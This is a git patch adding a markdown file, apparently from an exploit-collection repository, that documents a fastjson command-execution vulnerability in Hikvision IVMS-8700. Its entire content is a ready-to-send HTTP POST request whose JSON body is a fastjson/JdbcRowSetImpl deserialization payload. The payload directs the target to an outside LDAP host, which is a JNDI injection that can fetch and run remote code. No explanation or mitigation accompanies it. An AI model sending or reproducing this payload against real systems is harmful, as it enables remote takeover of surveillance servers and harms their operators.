From 7d609f29327d4b60a956ddcbe779810994371dee Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 19 Aug 2023 21:05:14 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E6=B5=B7=E5=BA=B7=E5=A8=81=E8=A7=86IV?=
 =?UTF-8?q?MS-8700=20fastjson=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 海康威视IVMS-8700 fastjson命令执行漏洞.md | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)
 create mode 100644 海康威视IVMS-8700 fastjson命令执行漏洞.md

diff --git a/海康威视IVMS-8700 fastjson命令执行漏洞.md b/海康威视IVMS-8700 fastjson命令执行漏洞.md
new file mode 100644
index 0000000..354efed
--- /dev/null
+++ b/海康威视IVMS-8700 fastjson命令执行漏洞.md	
@@ -0,0 +1,17 @@
+## 海康威视IVMS-8700 fastjson命令执行漏洞
+
+```
+POST /bic/ssoService/v1/applyCT HTTP/1.1
+Host: 127.0.0.1
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Upgrade-Insecure-Requests: 1
+Sec-Fetch-Dest: document
+Sec-Fetch-Mode: navigate
+Sec-Fetch-Site: cross-site
+Sec-Fetch-User: ?1
+Te: trailers
+Content-Type: application/json
+Content-Length: 204
+
+{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kjvqweuoav.dnstunnel.run","autoCommit":true},"hfe4zyyzldp":"="}
+```